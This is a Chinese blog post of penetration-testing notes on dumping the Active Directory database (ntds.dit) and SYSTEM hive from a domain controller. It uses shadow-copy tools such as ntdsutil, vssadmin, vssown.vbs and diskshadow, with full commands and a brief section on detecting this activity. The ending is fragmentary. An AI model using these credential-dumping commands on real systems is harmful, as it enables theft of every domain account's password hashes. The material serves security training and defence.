2020-12-28
作者:互联网
目录
6.2.3在Windows下解析ntds.dit并导出域账号和域散列值
6.5使用wshadow.exe和QuarksPwDumpexe导出域账号和域散列值
第6章域控制器安全
在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。
6.1使用卷影拷贝服务提取ntds.dit
在活动目录中,所有的数据都保存在 ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntds\ntds.dit。ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。本节将介绍如何从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。在一般情况下,系统运维人员会利用卷影拷贝服务(Volume Shadow Copy Service, VSS)实现这些操作。VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。
6.1.1通过ntdsutil.exe提取ntds.dit
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。
下面通过实验来讲解使用ntdsutil.exe提取ntds.dit的方法。
1.在域控制器的命令行环境中创建一个快照。该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到,创建了一个GUID为{c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}的快照。
2.加载创建的快照
ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
3.复制快照中的文件
copy C:\$SNAP_202012281442_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public
4.卸载之前加载的快照并删除
ntdsutil snapshot "unmount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" "delete {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
5.查询当前快照
ntdsutil snapshot "List All" quit quit
6.1.2 利用 vssadmin提取 ntds.dit
vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn 的操作流程和ntdsutil类似
1.在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.在创建的卷影拷贝中将ntds.dit 复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
dir c:\ |findstr "ntds"
3.删除快照
vssadmin delete shadows /for=c: /quiet
6.1.3利用vssown.vbs脚本提取ntds.dit
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs 脚本是由Tim Tomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。可以在命令行环境中执行该脚本。该脚本中的常用命令如下
//启动卷影拷贝服务
cscript vssown.vbs /start
1/创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
//列出当前卷影拷贝
cscript vssown.vbs /list
//删除卷影拷贝
cscript vssown.vbs /delete
1.启动卷影拷贝服务
cscript vssown.vbs /start
2.创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
3.列出当前卷影拷贝
cscript vssown.vbs /list
4.复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit
5.删除卷影拷贝
cscript vssown.vbs /delete {9AB33ECE-8FF2-49A8-9305-101993C6648E}
6.1.4使用ntdsutil的iFM创建卷影拷贝
除了按照前面介绍的方法通过执行命令来提取ntds dit,也可以使用创建一个 IFM的方式获取nsdi。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行
1.在域控制器中以管理员模式打开命令行
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
2.将ntds.dit复制到c:\test\Active Directory\文件夹下,将SYSTEM和SECURITY复制到c:\test\registry文件夹下
dir "c:\test\Active Directory"
dir "c:\test\registry"
3.将ntds.dit拖回本地,删除test文件夹
rmdir /s /q test
4.nishang中有一个powershell脚本copy-vss.ps1。
import-module .\Copy.VSS.ps1
Copy-vss
6.1.5使用diskshadow导出ntds.dit
微软官方文档中有这样的说明:“diskshadow.exe 这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe 使用了一种交互式命令解释器, 与DiskRaid或DiskPart类似。”事实上,因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。diskshadow的功能与vshadow类似,且同样位于C:windows\system32\目录下。不过,vshdow是包含在Windows SDK中的,在实际应用中可能需要将其上传到目标机器中。
diskhadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exee调取一个脚本 文件来执行相关命令。下面通过实验讲解diskshadow的常见命令及用法。
diskshadow.exe /? #查看diskshadow.exe的帮助信息
在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令"exec c:\windows\system32\calc.exe"写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令
c:\>diskshadow /s c:\commmand.txt
使用diskshadow.exe加载command.txt文件时需要在c:\windows\system32下执行
c:\Windows\System32>diskshadow /s c:\command.txt
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘c:\ntds.dit
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
导出ntds.dit后,可以将system, hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息
c:\>reg save hklm\system c:\windows\temp\system.hive
注意事项
- 渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
- 在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。
- 在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。
- 在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。
- 在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32\中进行操作。
- 脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
6.1.6 监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
- 监控创建dkshndko.exe及相关子进程的事件。
- 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
- 通过日志监控新出现的逻辑驱动器映射事件。
6.2导出ntds.dit中的散列值
6.2.1使用 esedbexport恢复ntds.dit
https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz 文件不存在,未安装成功
6.2.2使用impacket工具包导出散列值
git clone https://github.com/csababarta/ntdsxtract.git
┌──(root标签:12,Windows,28,ntds,exe,2020,卷影,dit,拷贝
来源: https://blog.csdn.net/qq_34640691/article/details/111866193